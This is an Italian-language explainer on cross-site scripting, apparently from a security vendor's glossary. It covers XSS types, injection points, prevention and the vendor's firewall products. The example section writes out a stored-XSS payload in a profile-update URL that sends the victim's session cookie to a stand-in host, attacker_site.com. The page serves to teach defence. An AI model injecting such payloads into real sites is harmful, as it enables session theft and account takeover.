Cross-site scripting (XSS)

Che cos'è il cross-site scripting (XSS)?

Il Cross-site scripting (XSS) è una vulnerabilità web pervasiva, che consente a un aggressore di iniettare JavaScript dannoso o altro codice lato client (ad es. VBScript, ActiveX, Flash, ecc.) nelle pagine web. Il codice viene quindi eseguito nel browser web del client.

Sfruttando l'XSS, un aggressore non prende di mira una vittima direttamente. Invece, un aggressore sfrutta una vulnerabilità all'interno di un sito web o di un'applicazione web che la vittima visita, utilizzando essenzialmente il sito web vulnerabile come veicolo per consegnare uno script dannoso al browser della vittima.

Gli attacchi di cross-site scripting si dividono in tre categorie: XSS persistente/memorizzato, XSS riflesso e XSS basato su DOM.

  • Attacchi XSS persistenti: questi memorizzano script dannosi sul server dell'applicazione web. Qualsiasi utente che accede all'applicazione diventa vulnerabile all'esecuzione dello script nel proprio browser.
  • Attacchi XSS riflessi: trovano un modo per far "rispecchiare" a un server compromesso uno script dannoso che riceve in una richiesta. Un'applicazione che riceve input utente in una richiesta e li rende in una risposta senza una corretta validazione per filtrare o sanificare gli input potrebbe propagare JavaScript dannoso. Se uno script dannoso finisce in una risposta, potrebbe eseguirsi nel contesto del browser.
  • Attacchi XSS basati su DOM: quando nessuno script viene iniettato in una pagina web — invece, il comportamento di uno script esistente viene modificato in modi non intenzionali. Tipicamente il cambiamento viene realizzato modificando un elemento DOM fidato.

Gli script lato client hanno accesso completo al DOM e possono accedere o modificare qualsiasi parte di esso, inclusi i dati di sessione, i cookie, l'accesso alla cronologia di navigazione precedente e così via. Ad esempio, un aggressore che riesce a sfruttare le vulnerabilità XSS può dirottare i dati di sessione di un utente autenticato. Questo consente a un aggressore di cambiare la password di un utente, ottenendo così l'accesso all'account/sistema della vittima.

Gli attacchi XSS possono persino consentire a un aggressore di controllare l'intero sistema client. Gli script dannosi possono reindirizzare silenziosamente i browser dei client a domini controllati dagli aggressori che servono malware, come i kit di exploit per browser.

Metodi XSS

L'iniezione XSS è possibile attraverso qualsiasi parte di una richiesta che non è adeguatamente sanificata prima di essere incorporata in una risposta successiva. I bersagli tipici includono:

  • Parametri URL
  • Parametri FORM (parametri GET e POST)
  • Cookie
  • Intestazioni HTTP
  • Oggetti Referrer HTTP

Esempio di attacco XSS

Un esempio di attacco XSS, in cui un aggressore crea un account in un sito di social networking, è un buon modo per mostrare la facilità con cui un sistema può essere compromesso senza molto sforzo. Utilizzando JavaScript dannoso incorporato in un campo modulo, il codice viene inviato al sito e salvato lato server:

/profileUpdate/profileid20?firstName=John&lastName=peter&address=<img+src=ImageNotFound.gif+onerror=window.open('http://attacker_site.com/CaptureCookie.cgi?cookie='+[removed])>&gender=male

L'aggressore ha ora iniettato il codice

(<img+src=ImageNotFound.gif+onerror=window.open('http://attacker_site.com/CaptureCookie.cgi?cookie='+[removed])>)

nel campo indirizzo. Se un utente innocente visualizza il profilo dell'aggressore, il server invia i dettagli del profilo dell'aggressore al browser dell'utente nella risposta. La risposta contiene il JavaScript dannoso che si esegue nel browser e invia il cookie di sessione all'aggressore.

Prevenire il Cross-Site Scripting

Prevenire il cross-site scripting è difficile. Ci sono alcuni approcci ampiamente utilizzati:

  • Accettare solo input di testo semplice dove possibile. Questo è spesso efficace, anche se ci sono molti casi in cui gli utenti potrebbero voler aggiungere un markup HTML limitato al loro input — ad esempio, per scopi di formattazione.
  • La codifica delle entità HTML su caratteri significativi — ad es. trasformare “<” in “& lt;” – è ampiamente raccomandata e praticata, ma potrebbe non prevenire tutti gli attacchi di scripting.
  • Esistono strumenti automatizzati che cercheranno e rimuoveranno il codice dannoso che potrebbe essere visualizzato agli utenti. Sebbene questa sia la soluzione più completa, è improbabile che questi strumenti siano totalmente efficaci contro un aggressore determinato e possono essere costosi da installare e mantenere.

Perché il Cross-Site Scripting è importante

Se un aggressore può abusare di una vulnerabilità XSS su una pagina web per eseguire JavaScript arbitrario nel browser di un visitatore, la sicurezza di quel sito web o applicazione web e dei suoi utenti è stata compromessa.

Idealmente, gli attacchi di cross-site scripting possono essere prevenuti attraverso una codifica sicura che impone una corretta validazione degli input; tuttavia, questo è spesso impraticabile per applicazioni legacy o di terze parti, o quando il codice sorgente non è direttamente disponibile. Disabilitare gli script lato client nei browser degli utenti è talvolta suggerito come opzione, tuttavia la maggior parte delle applicazioni moderne si basa su script lato client per funzionare normalmente, quindi disabilitare JavaScript porta a malfunzionamenti delle applicazioni web. Altre tecnologie di sicurezza lato client emergenti, tra cui la Content Security Policy di Mozilla o il filtro XSS di IE, mostrano promesse future ma non sono ancora infallibili.

Scopri di più sul Cross-Site Scripting

Termini correlati

Ulteriori letture

In che modo Barracuda può essere di aiuto

Il Firewall per applicazioni web Barracuda contiene set di regole complete per rilevare attacchi XSS semplici o offuscati nelle richieste in arrivo. La politica di sicurezza predefinita previene tutti gli attacchi XSS senza richiedere alcuna configurazione aggiuntiva o modifiche al codice dell'applicazione web.

Firewall Barracuda CloudGen include un sistema di rilevamento e prevenzione delle intrusioni che migliora notevolmente la sicurezza della rete. Rafforzando la protezione completa della rete CloudGen, questo sistema aiuta a prevenire attacchi come il Cross-Site Scripting e i buffer overflow.